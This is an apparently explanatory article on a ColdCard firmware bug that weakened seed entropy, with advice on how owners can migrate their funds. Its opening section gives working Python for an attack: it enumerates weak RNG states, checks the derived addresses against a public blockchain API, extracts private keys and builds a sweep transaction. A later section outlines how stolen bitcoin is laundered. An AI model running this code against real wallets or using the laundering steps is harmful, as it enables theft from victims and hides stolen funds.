>>> coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78).hex()
'3013f52faaef2a65c47fee63c83e9773d505bd05e4b2b43f56bb8c60ecc66f66'

3. From entropy to a Bitcoin address

def first_addresses(entropy_bytes, account=0):
    """
    Given the raw entropy, generate the BIP39 mnemonic, the BIP32 seed,
    and the first native SegWit receiving and change addresses.
    """
    mnemonic = mnemonic_from_bytes(entropy_bytes)
    seed = mnemonic_to_seed(mnemonic)
    root = HDKey.from_seed(seed)

    addrs = {"mnemonic": mnemonic}
    for change in [0, 1]:
        for idx in range(5):
            path = f"m/84'/0'/{account}'/{change}/{idx}"
            key = root.derive(path)
            addr = p2wpkh(key.key.get_public_key()).address()
            label = "receive" if change == 0 else "change"
            addrs.setdefault(label, []).append(addr)
    return addrs

What it does: takes the 32 bytes, turns them into 24 BIP39 words, computes the seed, opens the BIP32 tree, and derives the addresses. In practice the attacker tests dozens or hundreds of indexes and also other accounts.

Example:

>>> cand = first_addresses(coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78))
>>> cand["mnemonic"]
'copy panic episode fiction verify cream ball worry glow draft place tray expect teach bleak north reflect wide puzzle boat attract glimpse rural setup'
>>> cand["receive"][0]
'bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp'

4. Query the public blockchain as an oracle

def has_utxo(address):
    """True if the address has any UTXO according to mempool.space."""
    url = f"https://mempool.space/api/address/{address}/utxo"
    try:
        r = requests.get(url, timeout=10)
        r.raise_for_status()
        return len(r.json()) > 0
    except Exception as e:
        print("error querying", address, e)
        return False

What it does: asks the real question. Without this query, the attacker would not know whether they guessed right. The blockchain is the oracle.

Non-hit example:

>>> has_utxo("bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp")
False

The attacker discards it and moves to the next candidate.

Hit example (the real victim address bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr, before the sweep):

[
  {
    "txid": "78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d",
    "vout": 0,
    "value": 2989251877,
    "status": {"confirmed": true, "block_height": 960188}
  }
]

When has_utxo returns True, the attacker knows the seed they just generated produces that address — and therefore the corresponding private key.

5. Enumerate candidates and hunt

def brute_mk3(uid_low32):
    """
    Example for Mk3/Mk2 v4: scan plausible SysTick and RTC values.
    In practice the attacker uses GPUs/FPGAs and constrains the UID from
    the device serial.
    """
    for systick in range(80_000):
        for rtc_tr in range(0x000000, 0x240000, 0x100):
            for rtc_ssr in range(0, 256):
                yield coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr)


def brute_mk4(uid_low32, systick, rtc_tr, rtc_ssr):
    """
    Example for Mk4/Q/Mk5: the fallback is fixed and the attacker enumerates
    the 2^32 possible secure-element reseed values.
    """
    for reseed in range(0x100000000):
        yield coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr, reseed)


def hunt(uid_low32, generator):
    for entropy in generator:
        candidate = first_addresses(entropy)
        for addr in candidate["receive"] + candidate["change"]:
            if has_utxo(addr):
                print("HIT!")
                print("  mnemonic:", candidate["mnemonic"])
                print("  address :", addr)
                return candidate


# Didactic example: use a known UID and a reduced Mk3 generator.
# hunt(0xAABBCCDD, brute_mk3(0xAABBCCDD))

What they do: brute_mk3 scans plausible states for Mk3; brute_mk4 scans the 2^32 secure-element reseeds; hunt is the generate-derive-check loop. The real attacker does not run Python; they write this in C/CUDA/FPGA and parallelize by UID. But the logic is identical.

After finding the collision

When hunt returns, the attacker already has the mnemonic and the funded address. From there, they get the private key:

from embit.bip39 import mnemonic_to_seed
from embit.bip32 import HDKey

seed = mnemonic_to_seed(candidate_mnemonic)
root = HDKey.from_seed(seed)
addr_key = root.derive("m/84'/0'/0'/0/0")

print("Compressed WIF:", addr_key.key.wif())
print("Address       :", addr_key.address())

Typical output:

Compressed WIF: L1P8P5vQUoRiNXpDuezfTf3GJtsFBWyJZsvfVs2gxNtxaAXSNhhF
Address       : bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp

That WIF is the private key in a format any wallet understands. From here the attacker can:

1. Import the seed or the WIF into Sparrow, Electrum, or another wallet.
2. Rescan the blockchain to see all UTXOs for that seed.
3. Build a transaction sending the funds to an address they control.
4. Sign and broadcast.

Concrete sweep example

In the real case, the attacker swept the 29.89251877 BTC UTXO from address bc1qe85jr... to the consolidation address. What they needed to produce was a signed transaction. The skeleton, with didactic values and a fictional input, looks like this:

from bitcoinlib.transactions import Transaction
from bitcoinlib.keys import HDKey

# key recovered from the collided seed
key = HDKey.from_seed(candidate_mnemonic).derive("m/84'/0'/0'/0/0")

input_value  = 2_989_251_877      # 29.89251877 BTC, in satoshis
fee          = 7_380              # fee in satoshis
output_value = input_value - fee  # what is left for the attacker

tx = Transaction(network='bitcoin', fee=fee, witness_type='segwit')
tx.add_input(
    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',  # victim UTXO txid
    0,
    keys=key,
    value=input_value,
    locking_script=bytes.fromhex('0014') + key.hash160,
    script_type='sig_pubkey',
    address=key.address()
)
tx.add_output(output_value, 'bc1qqdcszapk2yjrw0esf4t0etnlpjs5krsk5e99ru')  # attacker address
tx.sign()

print(tx.raw_hex())

A valid signed transaction looks like this (hex truncated):

01000000000101aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000000000ffffffff...

The attacker broadcasts that hex to any Bitcoin node (mempool.space, their own node, Electrum, etc.). The protocol does not ask where the key came from; it only checks whether the signature satisfies the script. If the signature is valid, the network includes the transaction in the next block and the UTXO changes owner.

In the real attack, this was done 1,195 times in 41 minutes, all with the same script, the same fee rate, and the same balance-sorted logic.

What this bug class means

This is not an attack on the elliptic curve, SHA-256, BIP39, or Bitcoin. It is an attack on entropy. The manufacturer reduced the key space, and the protocol simply accepted the signatures that came out of that smaller space.

Three lessons:

1. Do not trust the appearance of randomness. Yasmarang’s output passes simple statistical tests and looks random. But if the initial state is predictable, the entire sequence is predictable.
2. Hashing does not create entropy. Passing 40 bits of input through SHA-256 twice yields a nice, uniform hash, but there are still at most 2^40 possible hashes. The attacker enumerates inputs, not hashes.
3. The blockchain is public and permanent. A vulnerable wallet can sit quietly for years until someone connects the dots. On the day the attack is published, every UTXO in that key space becomes a target.

Can the attacker be caught?

Whenever a cryptocurrency theft reaches this scale, one question keeps coming up: “can the person be traced?”. The short answer is: maybe, but it is not trivial, and tracing is not the same as recovering the bitcoins.

Clay Garrett, who is among the people investigating the case, published a thread on X claiming that his team identified an unusual sweep pattern. According to the thread, the attack operator allegedly used a paid account at a well-known blockchain-services provider to query the source addresses and related activity during the sweeps. The provider’s logs allegedly matched, with “extraordinary specificity,” the number, timing, and sequence of requests. The provider, Garrett says, was only delivering normal services; the requests themselves did not reveal their purpose.

What this means, if confirmed:

• A blockchain-services provider usually requires an account, and often payment. That can leave traces: email, payment method, IP address, access times, API usage patterns.
• If the account was KYC’d, the chance of identifying a person rises sharply. If payment was made with cryptocurrency, an anonymous voucher, or a third-party card, the link weakens.
• Even with an IP or email, the operator may have used a VPN, Tor, disposable cloud compute, or a stolen identity. Each extra layer reduces the chance of reaching the real person.
• The funds, as far as is known, have not yet been moved to mixers or exchanges. While they remain stationary, there is a window for freezing or judicial recovery. Once they are swapped, mixed, or converted to offshore fiat, asset recovery becomes drastically harder.

So the thread points to a promising line of investigation, but it is an ongoing allegation, not a concluded proof. Catching the operator depends on how much they exposed through third-party services, the quality of the logs, jurisdiction, and how fast authorities act. Recovering the bitcoins depends on where the coins are when that happens. The two are related, but they are not the same thing.

What the attacker has not done yet

So far, the operation has been technically competent at the attack but amateurish at the escape. The ~1,128 BTC stolen are sitting in known consolidation addresses, with no mixer, no coinjoin, no follow-up movement. That is unusual for a theft of this size and worth attention, because it determines what is still recoverable.

What a mixer is, and why it has not been used

A mixer (or tumbler) is a service that takes bitcoins from many people, shuffles the amounts inside a single transaction or a series of transactions, and returns equivalent bitcoins to fresh addresses. The goal is to break the public chain of “where it came from.”

The classic model is CoinJoin: several participants jointly sign a transaction with many inputs and many outputs of the same size. An outside observer sees the money go in but cannot tell which output belongs to whom. Tools like Wasabi Wallet and Samourai Wallet implement CoinJoin automatically. Samourai even offered a service called Whirlpool, where UTXOs go through remix rounds that make tracing even harder.

Another model is the centralized mixer: you send bitcoins to a service address and receive them back from a different pool, minus a fee. Services like Bitcoin Fog and Helix historically worked this way. The difference from CoinJoin is that you must trust the mixer operator — and several of those operators were arrested precisely because investigators could link deposits to withdrawals.

In the ColdCard theft, none of these techniques has appeared yet. The bitcoins moved from the victims’ wallets into three large clusters and have not moved since. That can mean several things:

1. The attacker is still getting ready. Stealing 1,128 BTC in 41 minutes is one thing; laundering 1,128 BTC without leaving a trace is another. Setting up an anonymization pipeline takes time, costs money, and requires pre-established accounts.
2. The attacker did not expect this much visibility. Once the press and blockchain analysts start tracking addresses in real time, any immediate movement becomes news. Leaving the funds still is a way to wait for the noise to die down.
3. The attacker may be negotiating a recovery. Large thefts sometimes end in settlements, with part of the funds returned in exchange for the thief’s anonymity.

How one normally hides a haul like this

If the operator really wants to make tracing difficult, the standard playbook involves several layers:

1. CoinJoin rounds. The attacker splits the funds into standardized amounts and runs them through multiple CoinJoin rounds. After a few rounds the graph stops being a tree and becomes a web, making attribution hard.
2. Peel chain. Instead of sending everything at once, the operator moves small slices across dozens or hundreds of intermediate addresses, like peeling an onion. Each address forwards most of the value to the next one and a tiny fraction to a final destination.
3. Instant swaps and bridges. Swapping Bitcoin for Monero on a decentralized exchange or bridge is a common path: Monero hides sender, recipient, and amount. After a few Monero transactions, the attacker can swap back into Bitcoin at fresh addresses.
4. Weak-KYC or no-KYC exchanges. Depositing into exchanges that do not require identification, or that accept third-party accounts, lets the attacker convert into stablecoins, fiat, or other cryptocurrencies. Even with KYC, bought accounts or money mules help create distance.
5. Offshore fiat. The final stage is turning the asset into real cash outside jurisdictions that cooperate with investigations. Unregulated exchanges, Bitcoin ATMs, prepaid cards, and accounts in tax havens fit here.

None of these layers makes tracing impossible, but each raises the cost. A well-funded investigation can still follow clues: fees paid by an exchange, timing patterns, change addresses, value matches. The problem is that the more layers there are, the more time it takes — and the more time passes, the lower the chance of freezing the funds before they are spent.

Why this matters now

The fact that the bitcoins are still in the consolidation addresses means the recovery window is still theoretically open. Law enforcement and private investigators can monitor those addresses, request freezes at exchanges, and pressure blockchain-service providers. If the attacker sends even a single satoshi to a known mixer, alarms go off.

But that window closes as soon as the funds enter an anonymization pipeline. After a proper CoinJoin, a Monero swap, and a network of peel chains, the question stops being “where is the money?” and becomes “who can we arrest?”. Recovering the asset becomes technically infeasible for most victims.

In other words, the attacker has already won the first battle — finding and stealing the keys. The second battle, cashing out anonymously, is the one that usually separates big-wallet thieves from thieves who end up in prison.

Conclusion

If you still have funds in a seed generated by vulnerable ColdCard firmware, the risk is not theoretical. The blockchain already shows hundreds of addresses being emptied by someone who reproduced the broken RNG.

The ColdCard does not hold your bitcoins. It held the key. The key was born weak. Whoever has a copy of the same key — obtained by enumerating states of a PRNG — can sign transactions on your behalf, without ever having touched the device.

The only defense is to move the funds to a new seed, generated by corrected firmware or, better, by a process that combines independent entropy sources (casino-grade dice, a different manufacturer’s TRNG, an offline host). And test recovery before sending meaningful value.

Do not trust a company, certification, influencer, or article. Not even this one. Verify.

I am not exaggerating for a clickbait headline. On July 29, transactions started sweeping user wallets. One consolidation address received 594.47723261 BTC across 501 outputs. That is public blockchain data, not a Telegram screenshot. Issue 416 of Bitcoin Optech, published while the case was still unfolding, already estimated losses above 1,000 BTC.

The exact number will still change. The 594 BTC cluster is directly observable; attributing every input to the same vulnerability and closing the global total requires more analysis. But the combination of victim reports, the sweep pattern, reproduction of the bug, and Coinkite’s own admission is strong enough. Waiting for a pretty forensic report while a vulnerable seed keeps receiving funds is a terrible strategy.

Do not panic and type your 24 words into the first website that promises to “check your ColdCard” either. That is the other, much easier way to lose everything. A seed never goes into a website, chat, browser extension, or online computer. First understand whether you were affected. Then migrate calmly, verifying the address on the screen of a trusted signer.

Who needs to act now

The vulnerability is in seed generation. What matters is the model and firmware used on the day those words were created, not the firmware installed today or where you imported the seed afterward.

In practice: if you own any ColdCard, move the funds to a wallet derived from a completely new seed. Better to err on the side of caution. The ranges below show where the bug has already been confirmed; they are no reason to bet your life savings on the assumption that everything else is perfect. Updating the device does not repair the old seed.

According to Coinkite’s advisory and Block’s independent analysis, treat as compromised any seed generated under these conditions:

Block includes the Mk2 running 4.x firmware in the same regression as the Mk3 and starts the vulnerable range for both at 4.0.0. Coinkite focused its advisory on the Mk3, starting at 4.0.1, and on current models. I would treat the entire 4.x line through 4.1.9 as compromised on both. If you own an Mk2, do not take comfort from its absence in the advisory headline.

There is one important exception: anyone who added at least 50 fair, independent, and private die rolls during the original setup theoretically preserved at least 128 bits from an outside source. Coinkite itself says those seeds are not at risk from this bug alone. If you do not remember exactly how many rolls you made, which flow you used, or whether those results remained private, assume you did not do it.

A seed imported from another generator was not born from this defective RNG either. It may have other problems, of course, but not this one. Updating firmware now cannot travel back in time and repair any words. You must create a new seed and transfer the UTXOs to addresses derived from it.

Restoring the same 24 words on a Trezor, Ledger, SeedSigner, or any other device is NOT a migration. You are still in danger. The hardware changed; the root and the entire universe of derived private keys remain the same. Another derivation path may display different addresses, but it adds no entropy. If the ColdCard generated that wallet using the weak RNG, importing its seed into another signer merely teaches the new device to reproduce the same vulnerable keys. Create a completely new wallet with new entropy, then make an on-chain transaction that moves the funds from the old wallet to addresses in the new one.

I would do this even with a strong passphrase. The passphrase may have placed an independent barrier in front of the attacker, but Coinkite itself recommends migrating. After a failure of this magnitude, calculating the minimum theoretically acceptable risk is saving money in the wrong place.

The bug: #ifndef does not mean “if true”

Coinkite’s technical postmortem is an embarrassing read.

In March 2021, the firmware replaced ckcc.rng_bytes() with ngu.random.bytes() during its migration to libNgU and the libsecp256k1 used by Bitcoin Core. The library choice was good. The integration was disastrous.

The build code defined:

#define MICROPY_HW_ENABLE_RNG (0)

But the guard in libNgU checked this:

#ifndef MICROPY_HW_ENABLE_RNG
#error "get a HW TRNG plz"
#endif

#ifndef asks whether the symbol exists, not whether its value is nonzero. The symbol existed. The build passed. In the final resolution, rng_get() pointed to MicroPython’s software fallback, a deterministic PRNG called Yasmarang, initialized with the microcontroller UID and timing registers. A UID identifies a chip. A clock measures time. Neither is a cryptographic source of randomness.

Worse, the correct TRNG implementation was inside the binary. Previous reviews looked at it and concluded everything was fine, but nobody verified the complete path between “create new wallet” and the symbol actually called in the executable. There was no integration test that failed when the seed came from the wrong generator.

On the Mk3, Coinkite’s preliminary estimate is around 40 bits of effective entropy, instead of the minimum 128 bits expected. On the Mk4, Q, and Mk5, values from the secure elements entered as a second layer, and the company estimates approximately 72 bits. Block’s analysis is harsher: only 32 bits of material from the secure elements reached the PRNG state during that reseed. The threat models and estimates are not identical. None comes close to the target.

Passing bad output through SHA-256 does not create entropy. If only 2^40 inputs exist, at most 2^40 possible hashes exist. They look nice and uniform and remain enumerable.

This sat on the most important path in the product for more than five years.

How a 120-file rewrite got us here

Zach Herbert published a timeline worth summarizing. He is a Foundation cofounder, Passport manufacturer, and Coinkite competitor, so read the interpretation with that context. The dates and commits, however, can be verified.

In July 2020, Foundation announced that its first Passport would build on ColdCard’s GPLv3 firmware. Two days later, NVK publicly complained about the “clone” and said he would change the license. In November, ColdCard added MIT plus the Commons Clause, which left the code visible but restricted derivative commercial products. In January 2021, the change formally appeared in firmware 3.2.1.

On March 1 came the First pass w/ libNgU commit: 120 files changed, removal of GPL-covered libraries derived from Trezor, replacement of the cryptographic stack, and a change to seed generation. On March 17, version 4.0.0 announced the removal of the last GPL code.

There is no way to prove how much of the haste or scope came from the license dispute. The timeline itself acknowledges other legitimate goals: adopting libsecp256k1, accelerating AES/SHA, and enabling reproducible builds. The concrete fact is simpler: the bug entered in that same massive commit, and the product went five years without an end-to-end test of its most critical path.

That is engineering incompetence. A hardware wallet can have a secure element, sealed packaging, an air gap, and a website full of explanations about sovereignty. If the function that creates the key calls the wrong RNG and nobody tests it for five years, everything else is theater.

This was a white swan, not a black swan

I have already seen people call this a “black swan,” as though a cosmic alignment of unforeseeable events had struck Coinkite. It was not.

The vulnerable code had been visible in the repository since March 2021. The commit was enormous, but not secret. The deterministic fallback was in a public submodule. The macro defined as zero was in the board configuration. The incorrect #ifndef was in the integration. What was missing was following the seed-generation call all the way to the symbol resolved in the binary and writing a test that proved where its entropy came from.

A black swan is rare, surprising, and only looks obvious afterward. This was a white swan: a known risk in the most sensitive category of the product, with an observable cause and a predictable consequence. Nobody knew the exact day someone would connect the dots and sweep the wallets. The bomb, however, had been assembled and ticking in public for five years.

And Coinkite helped reduce the number of people willing to defuse it.

In 2021, Marko Bencun from Shift/BitBox and Hugo Nguyen from Nunchuk responsibly disclosed a critical multisig flaw. Coinkite fixed the code, but its release notes did not say it was a vulnerability or communicate any urgency. Bencun’s bounty request was ignored. The company published a more explicit warning only after the researcher released the details.

The current responsible disclosure policy still leaves reward amount, eligibility, and timing to the company’s discretion. Researchers working for competitors or well-funded labs are not eligible for a bounty. The page even throws in “we are not here to make it easy for you,” as if antagonizing people who audit your vault demonstrated personality.

Zach Herbert also documented NVK’s public attacks on Foundation after it used ColdCard’s GPL code: “pure clone,” “leeches,” and “affinity scamming.” Herbert is a competitor with an interest in the dispute, but the posts and screenshots exist. My opinion of NVK as a CEO is now terrible. He cultivated hostility toward the manufacturers and researchers who had the knowledge and technical incentive to review his product.

I do not need to claim that every researcher abandoned Coinkite. Just look at the incentives. A competent white hat can spend weeks dismantling firmware. If a company minimizes findings, ignores bounties, treats competitors as enemies, and reserves the right to decide when something deserves credit, that researcher works on another product. Open code permits auditing; it does not force anyone to audit for free for a company that treats them badly.

So this was not one-in-a-billion bad luck. It was a self-fulfilling prophecy. Extreme negligence accumulated risk until someone exploited it. When the bomb went off, it did not erase a number in a Coinkite spreadsheet. It took real bitcoin that, for some victims, represented years of savings or their life’s savings.

No, “AI broke Bitcoin” my ass

Coinkite wrote that, because the firmware was public, “we have to assume” someone used AI to review old versions and found the bug. It provided no evidence. In the next paragraph, it admits that weeks earlier it had used one of the best available models to review the same code, and the model found nothing serious.

NVK later published an apology on Coinkite’s behalf. He took responsibility for the bug, told every ColdCard owner to move their funds, acknowledged that new firmware cannot repair an old seed, and said the company would have to earn back its users’ trust. That is the bare minimum, but it matters that he said it.

The problem is that he ended by trying to turn the disaster into “a sober reality of the new AI paradigm,” arguing that AI-assisted review can now find old bugs faster than seasoned experts. No. This has fuck all to do with AI. The bug was basic, visible in the code for five years, and sat in the most important function of a hardware wallet. NVK was lucky it took this long.

Do not shift the blame to AI-assisted code review to justify piss-poor code. AI may have helped someone locate or exploit the flaw. AI did not write that #ifndef, disable the TRNG, approve the 120-file rewrite, or spend five years without an end-to-end test of seed generation. Coinkite did all of that.

After disclosure, researchers reproduced the flaw with the help of frontier models. Great. That shows AI can accelerate auditing and exploitation after someone points to where they should dig. It does not mean an AI broke ECDSA, secp256k1, SHA-256, BIP39, or Bitcoin.

The attacker enumerated a keyspace that a manufacturer had reduced from at least 128 bits to something around 40. This is brute force against predictable numbers. The Bitcoin protocol did exactly what it should: it accepted valid signatures produced by the correct private keys.

AI did not break Bitcoin. Coinkite left a basic regression untested at the heart of its firmware for five years. Blaming the tool that may have helped someone read the code is a convenient way to change the subject.

What a wallet actually stores

Bitcoin does not sit “inside” a ColdCard, Ledger, or Sparrow file. The blockchain contains UTXOs locked by scripts. Your wallet stores the material needed to find those UTXOs and produce signatures that satisfy the scripts.

At the most basic level, a private key is an integer chosen within the domain of the secp256k1 curve. The public key is a point calculated from it. That path is easy to compute forward and infeasible to reverse with known computing power. Addresses are representations derived from public keys and scripts, not vaults where coins live.

I explained this foundation more carefully in [Akitando #67] Understanding Basic Cryptography Concepts - Part 1 and [Akitando #68] Understanding Basic Cryptography Concepts - Part 2.

A modern wallet does not draw an independent key for each address. It starts with a root and uses BIP32 to derive a deterministic tree of keys: accounts, receiving addresses, change, and so on. A backup of the root recovers the entire tree.

BIP39 is the layer that turns binary entropy into readable words and then converts the mnemonic plus a passphrase into a 512-bit binary seed used by BIP32. The words are a human-readable way to carry computer-generated randomness. The specification explicitly warns that it is not a method for inventing a nice phrase in your own head.

Twelve or 24 words is the wrong question

A 12-word mnemonic encodes 128 bits of entropy plus a 4-bit checksum. A 24-word mnemonic encodes 256 bits plus an 8-bit checksum. Under normal conditions, 128 bits is already beyond brute-force reach.

But “24 words” does not guarantee that 256 real bits existed at the input. Vulnerable firmware could produce a perfectly valid sequence of 24 words, correct checksum and all, from an effective space of approximately 40 bits. The attacker does not need to try every possible word combination. They reproduce plausible states of the broken RNG and compare the derived addresses.

That is why the 12-versus-24 argument misses the point. Representation length cannot rescue a predictable source. A UUID printed in gold lettering remains predictable if someone called rand() with a timestamp.

RNG, TRNG, and independent sources

RNG is the generic term for a random number generator. A PRNG takes an initial state, the seed, and expands it into a deterministic sequence. A properly designed CSPRNG remains safe as long as the initial state contains enough entropy and the algorithm does not leak that state.

A TRNG tries to harvest randomness from physical phenomena: electronic noise, oscillator jitter, and similar sources. Ledger explains its process as a TRNG inside the Secure Element generating 256 bits, which BIP39 translates into 24 words. The company says an external lab tests that generator and certifies it under AIS-31. That is much better than a timer plus serial number, but it remains one source and one implementation you have chosen to trust.

Other projects prefer to combine sources. Trezor uses entropy from the device and host. BitBox02 documents five sources: the secure chip TRNG, the microcontroller TRNG, a unique value installed at the factory, entropy supplied by the host, and a hash of the device password.

The word that matters here is independence. Two PRNGs initialized from the same clock are not two sources. Two values that come from the same secure element do not buy the independence the diagram implies either. Independent sources, combined through a correct cryptographic construction, keep the result strong even when some of them fail.

And “combined correctly” carries half the security in that sentence. XOR, hashes, and extractors have specific properties. Do not invent your own mixer in half an hour and put your net worth on top of it. Use a reviewed implementation with test vectors, and verify that the binary you execute actually calls that code. I think the reason is now obvious.

Rolling dice is not that simple

Each roll of an ideal D6 provides log2(6), about 2.585 bits. That is where the figures of 50 rolls for 128 bits and 99 rolls for approximately 256 bits come from. ColdCard’s documentation shows the calculation and the SHA-256 applied to the sequence. SeedSigner uses the same thresholds: 50 for 12 words or 99 for 24.

That calculation assumes a fair die and independent rolls. A cheap promotional plastic die may have bubbles, poorly cut faces, and a shifted center of mass. Your hand may repeat a motion, the tray may favor one position, and many people “roll again” when the die lands near an edge. Every human decision made after seeing the result introduces bias.

If I were generating a seed manually today, I would use precision casino-grade dice from more than one manufacturer or batch. BitBox itself recommends five casino-grade dice for its manual procedure. I would define the reading order ahead of time, use a tray that lets the dice bounce, and accept every valid roll according to a rule written before I started. No rerolling because it “didn’t mix properly.”

Even then, I would not trust the dice alone. I would mix independent sources: more than one set of dice, coin flips, entropy from an offline host, and a hardware TRNG when the device supports it. Making hundreds of rolls is cheap. The care lies in feeding everything to an audited mechanism that performs the cryptographic combination. Adding numbers, picking the “most random” words, or concatenating pieces of mnemonics yourself is a recipe for losing funds.

Check what your device actually implements. In Ledger’s documented new-wallet setup, the Secure Element TRNG generates the entropy. In restore mode, the words must reconstruct exactly the same keys. The TRNG cannot add secret entropy on top of the imported mnemonic because that would create another wallet and destroy the purpose of a backup. Restoring a seed made with dice therefore transfers custody and signing to the device, but it does not improve the original randomness.

With a commercial hardware wallet, I would choose one of two paths: generate a new root through the official flow of an updated device that documents how it combines independent sources, or generate BIP39 outside it through an auditable and fully offline process, then enter the words only through the signer’s screen and buttons. A seed created in MetaMask, a website, or a connected laptop and later restored into a Ledger remains a hot seed. Ledger summarizes this well: move, don’t merge.

BTC D00M Guy has a visual Portuguese-language tutorial on BIP39, dice, and recovery testing. It is a good introduction to seeing the process, but I would not literally copy the old-phone-in-airplane-mode step for serious wealth. Airplane mode does not prove the device was clean, does not physically remove its radios, and formatting flash afterward gives me no verifiable erasure guarantee. It is fine for learning and rehearsal. To create the seed for my life savings, I prefer hardware with no radio, a verified ephemeral system, or a dedicated signer.

The rolls become a secret the moment you decide to use them. Do not photograph them, dictate them out loud, keep them in a phone note, or type them into a website. SeedSigner’s documentation recommends that any verification of a real seed happen on an ephemeral system such as Tails, fully offline and discarded after the test.

More entropy does not fix a bad process either. One hundred rolls recorded by a cloud-connected camera are worth zero against someone who has the video.

Passphrase: another wallet, not another password

In BIP39, the mnemonic is the main input to PBKDF2-HMAC-SHA512. The salt is the string mnemonic concatenated with the passphrase, and the function runs 2,048 iterations. Every passphrase produces a valid wallet. One wrong character does not display “incorrect password”; it opens another, usually empty wallet.

A long, random, unique, and independent passphrase can protect an exposed or weak mnemonic. In the ColdCard case, it adds a secret that did not come from the defective RNG: the attacker must combine every mnemonic candidate with a passphrase attempt. If that passphrase has enough entropy and never leaked, the attack may become infeasible again.

But a quote, human pattern, or reused password becomes an offline dictionary attack with no rate limit. BIP39’s 2,048 iterations do not turn a weak passphrase into a strong one. And losing it is just as final as losing the words. A hardware wallet PIN does not replace a passphrase. The PIN protects the physical device; the passphrase participates in key derivation.

Store the passphrase separately from the mnemonic and test a complete recovery before depositing a meaningful amount. Record the expected fingerprint and at least one address as well. During recovery, they tell you whether you opened the correct wallet.

In the ColdCard case, do not add a passphrase to the vulnerable seed now and call that a migration. Create a new root. The passphrase may be part of the new architecture, but the bitcoin must leave scripts derived from the old root.

Sparrow, air gaps, and PSBT

Sparrow is the coordinator I use. It knows descriptors, xpubs, addresses, UTXOs, and history. It can construct a transaction, but in a watch-only configuration it has no private key with which to sign.

This is where PSBT, standardized in BIP174, comes in. Sparrow creates a Partially Signed Bitcoin Transaction with the inputs, outputs, amounts, and derivation data required. The file or QR code goes to the offline signer. The signer reviews it, adds its signature, and returns the PSBT. In multisig, the same package moves through the remaining signers until it reaches quorum. Sparrow combines, finalizes, and broadcasts it.

The air-gapped single-sig flow looks like this:

1. Sparrow creates the transaction on the online computer.
2. You export the PSBT through QR code or microSD.
3. ColdCard, SeedSigner, or another device displays the destination, amount, and fee.
4. You verify them on the signer’s screen and sign.
5. Sparrow imports the signed PSBT, finalizes it, and broadcasts it.

An air gap reduces the attack surface. It is not a force field. QR codes and microSD still carry data, malicious firmware remains malicious firmware, and a compromised coordinator can try to replace the destination or change address. The signer’s screen exists so you can compare the address, amount, and fee before pressing Confirm.

And an air gap cannot improve entropy retroactively. A vulnerable ColdCard could spend its entire life without a USB cable. The key was already born weak.

2-of-3 multisig: safer and much more bureaucratic

Single-sig concentrates everything in one seed, one backup, and one implementation. Among options available today, 2-of-3 multisig with genuinely independent signers is the closest thing I know to maximum security against that single point of failure.

You create three independent seeds on signers from different manufacturers and codebases. Sparrow creates a policy requiring two signatures. One device may break or one seed may leak without immediately surrendering the funds. Two signers remain enough for recovery.

“Independent” is once again the word doing the work. Three hardware wallets fed by three child seeds from the same BIP85 root still depend on one root. Three seeds generated by the same vulnerable ColdCard repeat the risk. Use separate processes and entropy sources. I might combine, for example, a commercial signer from another manufacturer, a SeedSigner using dice, and a third device with a different architecture.

In Sparrow, the conceptual procedure is:

1. Create and back up each seed separately.
2. Export the fingerprint, derivation path, and xpub from each signer.
3. Create a Multi Signature wallet, normally Native SegWit, with a 2-of-3 policy.
4. Import all three keystores and back up the wallet’s output descriptor.
5. Record which signers correspond to which fingerprints.
6. Verify one receiving address on more than one signer.
7. Make a small deposit, restore and test the signers, and perform a complete trial withdrawal.

The descriptor cannot spend by itself, but it reveals every address and the full history. It is a necessary backup for reconstructing the policy and also sensitive privacy data. Keep copies in locations separate from the seeds.

When spending, Sparrow creates the PSBT; signer A signs; signer B signs; Sparrow combines and broadcasts. Every person or device must review the outputs. Multisig run by an operator who confirms everything automatically merely distributes the same mistake across three screens.

None of this is a mystery to me. I still find it bureaucratic as hell: three seeds, three backups, an output descriptor, separate locations, two devices for every spend, firmware updates, and a recovery plan that another family member must be able to execute when you are no longer around.

Every layer reduces one technical risk and creates another opportunity for the operator to make a mistake. Usability is part of security too. If the architecture becomes so annoying that you stop testing backups, stop updating signers, or cannot document inheritance, the perfect multisig diagram is not worth much.

I completely understand anyone who prefers to stay with single-sig and a strong, independent, well-stored passphrase. It is much easier to operate. Just make that choice knowing you accept more risk: you still depend on one root and one signing path. If that point fails, the entire wallet falls with it. A passphrase adds a barrier; it does not add a second independent signature.

Sparrow’s best practices guide recommends 2-of-3 using hardware wallets from different vendors and backups stored in separate locations.

If one key in your 2-of-3 came from an affected ColdCard, the attacker potentially already controls that key and can produce a signature. They still cannot spend alone, but your effective threshold has fallen: now they only need to compromise one more signer. Create a new multisig wallet with a new cosigner and move the funds. You cannot “replace one key” while keeping the same addresses; the policy changed, so the scripts change too.

Fulcrum fixes privacy, not a weak key

Sparrow needs to query the blockchain. On a public Electrum server, it requests the history of script hashes derived from your addresses. The server can correlate queries, timing, and IP address to group balances and history, even without receiving the raw xpub. To avoid that, I connect Sparrow to my own Bitcoin Core node through Fulcrum.

I showed the architecture and installation in Bitcoin on the Home Server: Sovereignty and Privacy with Coldcard, Sparrow and Fulcrum. That article remains useful, with one obvious correction: do not use a seed generated by affected ColdCard firmware.

Your node validates the blockchain. Fulcrum indexes it and responds quickly to Sparrow. That improves sovereignty and query privacy. Neither can stop an attacker from signing with a private key they reproduced from bad entropy.

How I would migrate today

Do not turn one emergency into a second accident. I would follow this order:

1. Take inventory. List the model, firmware that generated the seed, accounts, passphrases, derivation paths, and every multisig in which that key participates. Do not post balances or addresses on social media.
2. Treat the seed as compromised. Do not enter it into online software or accept any third-party “checker.” Keep signing on the device only for as long as it takes to leave.
